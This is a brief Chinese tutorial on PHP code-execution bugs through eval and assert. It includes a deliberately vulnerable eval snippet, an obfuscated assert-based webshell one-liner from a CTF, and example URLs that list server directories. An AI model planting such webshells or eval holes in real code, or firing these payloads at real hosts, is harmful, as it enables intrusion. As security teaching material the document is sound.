漏洞成因
当应用在调用一些能将字符转化为代码的函数(如PHP中的eval,assert)时,没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。
常见函数
php:eval,assert
python:exec
区别
eval与assert区别
eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())
漏洞利用
1.eval()函数
定义
eval函数把字符串按照php代码来计算。该字符串必须合法,且必须以分号结尾。如果代码字符串中没有返回语句,则返回NULL,如果代码中解析错误,返回false。
例子
<?php
$a = $_GET['a'];
eval($a);
?>
我们可以通过get方式传入一个字符串,由eval执行,就变成命令
http://127.0.0.1/test/1.php?a=var_dump(scandir('./'))
2.assert
定义
检查一个断言是否为false
例子
bugku的过狗一句话,可以试试
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
扫描当前目录
http://123.206.87.240:8010/?s=var_dump(scandir(%27./%27))